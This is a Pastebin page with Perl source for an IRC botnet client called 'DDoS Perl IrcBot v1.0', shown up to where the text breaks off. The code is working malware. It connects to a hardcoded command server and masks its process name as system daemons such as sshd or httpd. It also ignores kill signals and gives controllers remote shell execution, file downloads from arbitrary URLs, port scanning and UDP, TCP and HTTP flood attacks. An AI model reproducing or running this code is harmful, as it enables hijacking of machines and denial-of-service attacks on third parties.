Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

Stealth MultiFunctional IrcBot writen in Perl

By: a guest on Nov 27th, 2013  |  syntax: Perl  |  size: 39.08 KB  |  views: 1,120  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. ######################################################################################################################
  2. ######################################################################################################################
  3. ##  DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team       ## [ Help ] ###########################################
  4. ##      Stealth MultiFunctional IrcBot writen in Perl          #######################################################
  5. ##        Teste on every system with PERL instlled             ##  !u @system                                       ##
  6. ##                                                             ##  !u @version                                      ##
  7. ##     This is a free program used on your own risk.           ##  !u @channel                                      ##
  8. ##        Created for educational purpose only.                ##  !u @flood                                        ##
  9. ## I'm not responsible for the illegal use of this program.    ##  !u @utils                                        ##
  10. ######################################################################################################################
  11. ## [ Channel ] #################### [ Flood ] ################################## [ Utils ] ###########################
  12. ######################################################################################################################
  13. ##  !u @join <#channel>          ##  !u @udp1 <ip> <port> <time>              ##  !u @cback <ip> <port>             ##
  14. ##  !u @part <#channel>          ##  !u @udp2 <ip> <packet size> <time>       ##  !u @downlod <url+path> <file>     ##
  15. ##  !u !uejoin <#channel>        ##  !u @udp3 <ip> <port> <time>              ##  !u @portscan <ip>                 ##
  16. ##  !u !op <channel> <nick>      ##  !u @tcp <ip> <port> <packet size> <time> ##  !u @mail <subject> <sender>       ##
  17. ##  !u !deop <channel> <nick>    ##  !u @http <site> <time>                   ##           <recipient> <message>    ##
  18. ##  !u !voice <channel> <nick>   ##                                           ##  !u pwd;uname -a;id <for example>  ##
  19. ##  !u !devoice <channel> <nick> ##  !u @ctcpflood <nick>                     ##  !u @port <ip> <port>              ##
  20. ##  !u !nick <newnick>           ##  !u @msgflood <nick>                      ##  !u @dns <ip/host>                 ##
  21. ##  !u !msg <nick>               ##  !u @noticeflood <nick>                   ##                                    ##
  22. ##  !u !quit                     ##                                           ##                                    ##
  23. ##  !u !uaw                      ##                                           ##                                    ##
  24. ##  !u @die                      ##                                           ##                                    ##
  25. ##                               ##                                           ##                                    ##
  26. ######################################################################################################################
  27. ######################################################################################################################
  28.  
  29. #############################
  30. ##### [ Configuration ] #####
  31. #############################
  32.  
  33. my @rps = ("/usr/local/apache/bin/httpd -DSSL",
  34.                    "/usr/sbin/httpd -k start -DSSL",
  35.            "/usr/sbin/httpd",
  36.                    "/usr/sbin/sshd -i",
  37.                    "/usr/sbin/sshd",
  38.                "/usr/sbin/sshd -D",
  39.            "/usr/sbin/apache2 -k start",
  40.                "/sbin/syslogd",
  41.                "/sbin/klogd -c 1 -x -x",
  42.                    "/usr/sbin/acpid",
  43.                    "/usr/sbin/cron");
  44. my $process = $rps[rand scalar @rps];
  45.  
  46. my @rversion = ("\001VERSION - unknown command.\001",
  47.                                 "\001mIRC v5.91 K.Mardam-Bey\001",
  48.                                 "\001mIRC v6.2 Khaled Mardam-Bey\001",
  49.                                 "\001mIRC v6.03 Khaled Mardam-Bey\001",
  50.                                 "\001mIRC v6.14 Khaled Mardam-Bey\001",
  51.                                 "\001mIRC v6.15 Khaled Mardam-Bey\001",
  52.                                 "\001mIRC v6.16 Khaled Mardam-Bey\001",
  53.                                 "\001mIRC v6.17 Khaled Mardam-Bey\001",
  54.                                 "\001mIRC v6.21 Khaled Mardam-Bey\001",
  55.                                 "\001mIRC v6.31 Khaled Mardam-Bey\001",
  56.                                 "\001mIRC v7.15 Khaled Mardam-Bey\001");
  57. my $vers = $rversion[rand scalar @rversion];
  58.  
  59. my @rircname = ("abbore","ably","abyss","acrima","aerodream","afkdemon","ainthere","alberto","alexia","alexndra",
  60.                                 "alias","alikki","alphaa","alterego","alvin","ambra","amed","andjela","andreas","anja",
  61.                                 "anjing","anna","apeq","arntz","arskaz","as","asmodizz","asssa","athanas","aulis",
  62.                                 "aus","bar","bast","bedem","beeth","bella","birillo","bizio","blackhand","blacky",
  63.                                 "blietta","blondenor","blueangel","bluebus","bluey","bobi","bopoh","borre","boy","bram",
  64.                                 "brigitta","brio","brrrweg","brujah","caprcorn","carloto","catgirl","cathren","cemanmp","chainess",
  65.                                 "chaingone","chck","chriz","cigs","cintat","clarissa","clbiz","clex","cobe","cocker",
  66.                                 "coke","colin","conan","condoom","coop","coopers","corvonero","countzero","cracker","cread",
  67.                                 "crnaruka","cruizer","cubalibre","cure","custodes","dan","dangelo","danic","daniela","dario",
  68.                                 "darker","darknz","davide","daw","demigd","des","devastor","diabolik","dimkam","dital",
  69.                                 "djtt","dogzzz","dolfi","dolphin","dottmorte","dracon","dragon","drtte","dumbblnd","dusica",
  70.                                 "ebe","edgie","eggist","einaimou","elef","elly","emmi","encer","engerim","erixon",
  71.                                 "eurotrash","fairsight","fin","fireaway","fjortisch","floutti","fluffer","flum","forever","fqw",
  72.                                 "fra","freem","freew","freud","funny","furia","furunkuli","fwsmou","gad","gamppy",
  73.                                 "gerhard","ghostie","gili","girlie","giugno","gizmo","glidaren","gold","gomora","gracie",
  74.                                 "grave","graz","grron","gsund","gufoao","hali","hallas","hammer","harri","harry",
  75.                                 "hayes","hazor","herbiez","hlios","hoffi","honeii","hongkong","hug","iasv","ibanez",
  76.                                 "ibanz","ibar","igi","illusins","imp","inkworks","iplord","ivan","ja","jaffa",
  77.                                 "jaimeafk","james","jamezdin","janet","janne","jason","javagrl","jayc","jazz",
  78.                                 "jejborta","jester","jj","jn","jockey","joe","joelbitar","johannes","johndow","johnny",
  79.                                 "joni","jonni","jornx","joshua","jossumi","judy","juge","juha","juhas","julze",
  80.                                 "juutsu","kajman","kalca","kamileon","kardinal","kasandra","katarina","kaviee","kbee","ken",
  81.                                 "keung","kewin","khan","kikeli","kikii","kilroi","kiwi","klaara","kliimax","klimas",
  82.                                 "kode","kojv","koopal","kralj","krash","krista","kronos","ktx","kungen","kuppa",
  83.                                 "kurai","lala","lamour","latina","legend","lenisaway","lily","linda","lingyee","linux",
  84.                                 "lisa","lisha","litta","littleboy","liverpoo","liyen","liz","liza","lonely","lonelygal",
  85.                                 "lonewolf","lopez","lordie","lovebyte","lph","luarbiasa","lucignol","lullaby","lunatic","luny",
  86.                                 "lupo","mac","macesgl","madd","mailman","malkav","malr","mamakians","mamaw","manarimou",
  87.                                 "manarisou","maradona","marakana","marco","marillion","mark","mary","master","maurino","max",
  88.                                 "mcalcota","melanie","melinda","meph","mephisto","mg","mhj","mhz","mig","miina",
  89.                                 "mika","mikav","mike","mikemcgii","mikko","mikma","mimma","miss","moladmin","monikaw",
  90.                                 "monkeyboy","monroe","monstop","mooks","mordeshur","mpdike","mrbate","mrbeauty","mrblom","mrbx",
  91.                                 "mrjee","mro","mrtabizy","mrx","mrxx","msd","mu","muimui","musashi","musc",
  92.                                 "musce","musicgal","muti","myboy","mystr","mythic","mywife","nallllle","nanask","natalie",
  93.                                 "natborta","ncubus","neutrino","niceguy","nico","niklas","nimfa","nino","nurul","obiwanbip",
  94.                                 "ogre","olivia","omega","only","orac","orace","oranzzzzz","organza","ourlove","outworld",
  95.                                 "outzake","oxygn","paliadog","pazarac","permaloso","perroz","pessaar","phre","phreaky","pihkal",
  96.                                 "pinball","poesje","poison","poofie","popy","powerpc","pper","primera","primetime","proxyma",
  97.                                 "pshyche","psioncore","psiximou","psixisou","psychosis","psyidle","pszaah","puppetm","pzzzz",
  98.                                 "quattro","question","ra","ragio","ragnetto","raiden","raindance","raistln","ranu","raska",
  99.                                 "raul","raye","reartu","red","reflect","ribica","richard","rick","rigo","rikuta",
  100.                                 "rikuxr","rita","rix","rob","roku","ronaldo","ronwrl","roticanai","rugiada","ruthless",
  101.                                 "saalut","sammi","sand","satanins","schzsh","scorpin","sealink","sean","secret","serpentor",
  102.                                 "servant","sethi","sexbolek","sexyman","sharmm","shearer","shekel","shio","shortys","shred",
  103.                                 "sidewalk","sil","siren","skar","skill","skru","sky","skygun","skylink","slaktarn",
  104.                                 "slash","slgon","smarties","smck","snake","snike","snoopgirl","sodoma","sopocani","sorceress",
  105.                                 "spacebbl","spacedump","spanker","spermboy","spirtouli","srk","stazzz","steve","stinga","stj",
  106.                                 "stjf","studenica","stussy","suez","suhoj","sukun","sunsola","surfer","sutera","svearike",
  107.                                 "sweetii","sweetlady","sweklopi","swepilot","switch","syncphos","szern","takumura","tallaxlc","tampone",
  108.                                 "tarabas","tatano","tato","tennis","tenx","terence","terkukur","tero","thefox","thesint",
  109.                                 "timer","timewalk","tmhd","tnxfck","to","tomihki","tommy","topo","triumph","trustme",
  110.                                 "tungau","tupac","turbozzzz","turing","tvrdjava","tysn","unicron","uoff","uptimer","utopia",
  111.                                 "vader","vaismi","vajje","vanda","varjo","vass","vento","venusguy","vertie","viagara",
  112.                                 "vicious","vidxxx","virex","vodafone","vone","vrgnie","vuubeibe","wanderer","warrr","wasabboy",
  113.                                 "weebee","wellu","wendy","whiskey","willgood","wing","winny","wknight","wlly","wolfman",
  114.                                 "wow","wp","xarasou","xtreme","xxx","xzone","yakzr","yang","yashy","yasin",
  115.                                 "yenyen","ykbug","yogiebear","zai","zfstr","zinj","zizu","zvezda","zwimou","zwisou",
  116.                                 "zwsiew","zwsiewale");
  117.  
  118. my $ircname = $rircname[rand scalar @rircname];
  119.  
  120. ## my @rrealname = ("4,1[ DDoS Security Team ]",
  121. ##                                  "4,1 /!\ DDoS Security Team /!\ ",
  122. ##                                  "12,1<///8,1///4,1###>",
  123. ##                  "2,1---=== 4,1 DDoS Security Team 2,1===---");
  124. ## chop (my $realname = $rrealname[rand scalar @rrealname]);
  125.  
  126. chop (my $realname = $rircname[rand scalar @rircname]);
  127.  
  128. ## my @nickname = ("Haceri[D]");
  129. ## my $nick =$nickname[rand scalar @nickname];
  130.  
  131. my $nick =$rircname[rand scalar @rircname];
  132.  
  133. $server = 'irc.ddospower.us' unless $server;
  134. my $port = '6667';
  135.  
  136. my $linas_max='8';
  137. my $sleep='5';
  138.  
  139. my $homedir = "/tmp";
  140. my $version = 'DDoS Perl Bot v1.0';
  141.  
  142. my @admins = ("hacker","DDoS");
  143. my @hostauth = ("hacker.pro");
  144. my @channels = ("#roots");
  145.  
  146. my $pacotes = 1;
  147.  
  148. #################################################################
  149. ##### [ Stop Editing if you dont know what are you doing. ] #####
  150. #################################################################
  151.  
  152. $SIG{'INT'} = 'IGNORE';
  153. $SIG{'HUP'} = 'IGNORE';
  154. $SIG{'TERM'} = 'IGNORE';
  155. $SIG{'CHLD'} = 'IGNORE';
  156. $SIG{'PS'} = 'IGNORE';
  157.  
  158. use Socket;
  159. use IO::Socket;
  160. use IO::Socket::INET;
  161. use IO::Select;
  162.  
  163. chdir("$homedir");
  164.  
  165. $server="$ARGV[0]" if $ARGV[0];
  166. $0="$process"."\0"x16;;
  167. my $pid=fork;
  168. exit if $pid;
  169. die "Can't fork in background: $!" unless defined($pid);
  170.  
  171. our %irc_servers;
  172. our %DCC;
  173. my $dcc_sel = new IO::Select->new();
  174. $sel_cliente = IO::Select->new();
  175. sub sendraw {
  176.   if ($#_ == '1') {
  177.     my $socket = $_[0];
  178.     print $socket "$_[1]\n";
  179.   } else {
  180.     print $IRC_cur_socket "$_[0]\n";
  181.   }
  182. }
  183.  
  184. sub getstore ($$)
  185. {
  186.   my $url = shift;
  187.   my $file = shift;
  188.   $http_stream_out = 1;
  189.   open(GET_OUTFILE, "> $file");
  190.   %http_loop_check = ();
  191.   _get($url);
  192.   close GET_OUTFILE;
  193.   return $main::http_get_result;
  194. }
  195.  
  196. sub _get
  197. {
  198.   my $url = shift;
  199.   my $proxy = "";
  200.   grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  201.   if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  202.     my $host = $1;
  203.     my $port = $2 || 80;
  204.     my $path = $3;
  205.     $path = "/" unless defined($path);
  206.     return _trivial_http_get($host, $port, $path);
  207.   } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  208.     my $host = $1;
  209.     my $port = $2;
  210.     my $path = $url;
  211.     return _trivial_http_get($host, $port, $path);
  212.   } else {
  213.     return undef;
  214.   }
  215. }
  216.  
  217.  
  218. sub _trivial_http_get
  219. {
  220.   my($host, $port, $path) = @_;
  221.   my($AGENT, $VERSION, $p);
  222.   $AGENT = "get-minimal";
  223.   $VERSION = "20000118";
  224.   $path =~ s/ /%20/g;
  225.  
  226.   require IO::Socket;
  227.   local($^W) = 0;
  228.   my $sock = IO::Socket::INET->new(PeerAddr => $host,
  229.                                    PeerPort => $port,
  230.                                    Proto   => 'tcp',
  231.                                    Timeout  => 60) || return;
  232.   $sock->autoflush;
  233.   my $netloc = $host;
  234.   $netloc .= ":$port" if $port != 80;
  235.   my $request = "GET $path HTTP/1.0\015\012"
  236.               . "Host: $netloc\015\012"
  237.               . "User-Agent: $AGENT/$VERSION/u\015\012";
  238.   $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  239.   $request .= "\015\012";
  240.   print $sock $request;
  241.  
  242.   my $buf = "";
  243.   my $n;
  244.   my $b1 = "";
  245.   while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  246.     if ($b1 eq "") {
  247.       $b1 = $buf;
  248.       $buf =~ s/.+?\015?\012\015?\012//s;
  249.     }
  250.     if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  251.   }
  252.   return undef unless defined($n);
  253.   $main::http_get_result = 200;
  254.   if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  255.     $main::http_get_result = $1;
  256.     if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
  257.       my $url = $1;
  258.       return undef if $http_loop_check{$url}++;
  259.       return _get($url);
  260.     }
  261.     return undef unless $main::http_get_result =~ /^2/;
  262.   }
  263.  
  264.   return $buf;
  265. }
  266.  
  267. sub conectar {
  268.   my $meunick = $_[0];
  269.   my $server_con = $_[1];
  270.   my $port_con = $_[2];
  271.   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con",
  272.   PeerPort=>$port_con) or return(1);
  273.   if (defined($IRC_socket)) {
  274.     $IRC_cur_socket = $IRC_socket;
  275.     $IRC_socket->autoflush(1);
  276.     $sel_cliente->add($IRC_socket);
  277.     $irc_servers{$IRC_cur_socket}{'host'} = "$server_con";
  278.     $irc_servers{$IRC_cur_socket}{'port'} = "$port_con";
  279.     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  280.     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  281.     nick("$meunick");
  282.     sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");
  283.     sleep 1;
  284.   }
  285. }
  286.  
  287. my $line_temp;
  288. while( 1 ) {
  289.   while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
  290.   delete($irc_servers{''}) if (defined($irc_servers{''}));
  291.   my @ready = $sel_cliente->can_read(0);
  292.   next unless(@ready);
  293.   foreach $fh (@ready) {
  294.     $IRC_cur_socket = $fh;
  295.     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  296.     $nread = sysread($fh, $msg, 4096);
  297.     if ($nread == 0) {
  298.       $sel_cliente->remove($fh);
  299.       $fh->close;
  300.       delete($irc_servers{$fh});
  301.     }
  302.     @lines = split (/\n/, $msg);
  303.     for(my $c=0; $c<= $#lines; $c++) {
  304.       $line = $lines[$c];
  305.       $line=$line_temp.$line if ($line_temp);
  306.       $line_temp='';
  307.       $line =~ s/\r$//;
  308.       unless ($c == $#lines) {
  309.         parse("$line");
  310.         } else {
  311.         if ($#lines == 0) {
  312.           parse("$line");
  313.           } elsif ($lines[$c] =~ /\r$/) {
  314.           parse("$line");
  315.           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  316.           parse("$line");
  317.         } else {
  318.       $line_temp = $line;
  319.         }
  320.       }
  321.     }
  322.   }
  323. }
  324.  
  325. sub parse {
  326.   my $servarg = shift;
  327.   if ($servarg =~ /^PING \:(.*)/) {
  328.     sendraw("PONG :$1");
  329.     } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  330.     my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  331.     if ($args =~ /^\001VERSION\001$/) {
  332.          notice("$pn", "".$vers."");
  333.     }
  334.         if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
  335.     if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
  336.     if ($onde eq "$meunick"){
  337.     shell("$pn", "$args");
  338.   }
  339.   if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) {
  340.     my $natrix = $1;
  341.     my $arg = $2;
  342.     if ($arg =~ /^\!(.*)/) {
  343.       ircase("$pn","$onde","$1");
  344.       } elsif ($arg =~ /^\@(.*)/) {
  345.       $ondep = $onde;
  346.       $ondep = $pn if $onde eq $meunick;
  347.       bfunc("$ondep","$1");
  348.       } else {
  349.       shell("$onde", "$arg");
  350.     }
  351.   }
  352. }
  353. }
  354. }
  355.  
  356. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  357.   if (lc($1) eq lc($meunick)) {
  358.   $meunick=$4;
  359.   $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  360.   }
  361.   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  362.   nick("$meunick-".int rand(9999));
  363.   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  364.   $meunick = $2;
  365.   $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  366.   $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  367.   foreach my $canal (@channels) {
  368.         sendraw("MODE $nick +x");
  369.     sendraw("JOIN $canal");
  370.         sendraw("PRIVMSG $canal :4,1 [DDoS Perl Bot] 9,1Hello, I`m Ready To Serve ... ");
  371. }
  372. }
  373. }
  374.  
  375. sub bfunc {
  376. my $printl = $_[0];
  377. my $funcarg = $_[1];
  378.   if (my $pid = fork) {
  379.   waitpid($pid, 0);
  380.   } else {
  381.   if (fork) {
  382.   exit;
  383.   } else {
  384. ###########################
  385. ##### [ Help Module ] #####
  386. ###########################
  387.  
  388. if ($funcarg =~ /^help/) {
  389.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  390.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Main Help:  ");
  391.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  392.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1system              ");
  393.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1version             ");
  394.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1channel             ");      
  395.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1flood               ");
  396.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1utils               ");      
  397.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  398. }
  399.  
  400. if ($funcarg =~ /^system/) {
  401.         $uptime=`uptime`;
  402.         $ownd=`pwd`;
  403.         $id=`id`;
  404.         $uname=`uname -srp`;
  405.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  406.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1Bot Configuration:  ");
  407.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  408.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Server       : 12$server ");
  409.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Port         : 12$port ");
  410.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Channels     : 12@channels ");
  411.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uname -a     : 12$uname ");
  412.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uptime       : 12$uptime ");
  413.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*FakeProcess  : 12$process ");
  414.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ProcessPID   : 12$$ ");
  415.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ID           : 12$id ");
  416.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Own Dir      : 12$ownd ");
  417.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  418. }
  419.  
  420. if ($funcarg =~ /^version/){
  421.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  422.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1Bot Informations:                  ");
  423.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  424.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Version : 12$version   ");
  425.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Creator : 12DDoS             ");
  426.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Year    : 122012                ");
  427.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  428. }
  429.  
  430. if ($funcarg =~ /^flood/) {
  431.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  432.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Flood Help: ");
  433.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  434.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp1 <ip> <port> <time>               ");
  435.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp2 <ip> <packet size> <time>        ");
  436.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp3 <ip> <port> <time>               ");
  437.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1tcp <ip> <port> <packet size> <time>  ");
  438.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1http <site> <time>                    ");
  439.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1ctcpflood <nick>                      ");
  440.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1msgflood <nick>                       ");
  441.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1noticeflood <nick>                    ");
  442.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  443. }
  444.  
  445. if ($funcarg =~ /^channel/) {
  446.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  447.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Channel Help:     ");
  448.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  449.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1join <channel>            ");
  450.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1part <channel>            ");
  451.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1rejoin <channel>          ");
  452.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1op <channel> <nick>       ");
  453.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1deop <channel> <nick>     ");
  454.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1voice <channel> <nick>    ");
  455.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1devoice <channel> <nick>  ");
  456.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1nick <newnick>            ");
  457.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1msg <nick>                ");
  458.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1quit                      ");
  459.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1die                       ");
  460.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  461. }
  462.  
  463. if ($funcarg =~ /^utils/) {
  464.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  465.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Utils Help:                            ");
  466.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  467.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1cback <ip> <port>                              ");   
  468.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1download <url+path> <file>                     ");   
  469.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1mail <subject> <sender> <recipient> <message>  ");
  470.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1dns <ip>                                       ");   
  471.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1port <ip> <port>                               ");
  472.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1portscan <ip>                                  ");   
  473.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u pwd (for example)                               ");
  474.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  475. }
  476.  
  477. #########################
  478. ##### [ Functions ] #####
  479. #########################
  480.  
  481. if ($funcarg =~ /^die/) {
  482.         sendraw($IRC_cur_socket, "QUIT :");
  483.         $killd = "kill -9 ".fork;
  484.         system (`$killd`);
  485. }
  486. ###########    
  487. if ($funcarg =~ /^join (.*)/) {
  488.         sendraw($IRC_cur_socket, "JOIN ".$1);
  489. }
  490.  
  491. if ($funcarg =~ /^part (.*)/) {
  492.         sendraw($IRC_cur_socket, "PART ".$1);
  493. }
  494. ###########
  495. if ($funcarg =~ /^portscan (.*)/) {
  496.   my $hostip="$1";
  497.   my @portas=("1","7","9","14","20","21","22","23","25","53","80","88","110","112","113","137","143","145","222","333","405","443","444","445","512","587","616","666","993","995","1024","1025","1080","1144","1156","1222","1230","1337","1348","1628","1641","1720","1723","1763","1983","1984","1985","1987","1988","1990","1994","2005","2020","2121","2200","2222","2223","2345","2360","2500","2727","3130","3128","3137","3129","3303","3306","3333","3389","4000","4001","4471","4877","5252","5522","5553","5554","5642","5777","5800","5801","5900","5901","6062","6550","6522","6600","6622","6662","6665","6666","6667","6969","7000","7979","8008","8080","8081","8082","8181","8246","8443","8520","8787","8855","8880","8989","9855","9865","9997","9999","10000","10001","10010","10222","11170","11306","11444","12241","12312","14534","14568","15951","17272","19635","19906","19900","20000","21412","21443","21205","22022","30999","31336","31337","32768","33180","35651","36666","37998","41114","41215","44544","45055","45555","45678","51114","51247","51234","55066","55555","65114","65156","65120","65410","65500","65501","65523","65533");
  498.   my (@aberta, %porta_banner);
  499.   sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Scanning for open ports on 12".$1." 9,1started. ");
  500.   foreach my $porta (@portas)  {
  501.     my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  502.     if ($scansock) {
  503.       push (@aberta, $porta);
  504.       $scansock->close;
  505.     }
  506.   }
  507.   if (@aberta) {
  508.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Open ports found: 12@aberta ");
  509.     } else {
  510.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1No open ports found. ");
  511.   }
  512. }
  513. ##############
  514. if ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  515.         getstore("$1", "$2");
  516.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Download] 9,1Downloaded the file: 12$2 9,1from 12$1 ");
  517. }
  518. ##############
  519. if ($funcarg =~ /^dns\s+(.*)/){
  520.         my $nsku = $1;
  521.         $mydns = inet_ntoa(inet_aton($nsku));
  522.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [DNS] 9,1Resolved: 12$nsku 9,1to 12$mydns ");
  523. }
  524. ##############
  525. if ($funcarg=~ /^port\s+(.*?)\s+(.*)/ ) {
  526.         my $hostip= "$1";
  527.         my $portsc= "$2";
  528.         my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
  529.         if ($scansock) {
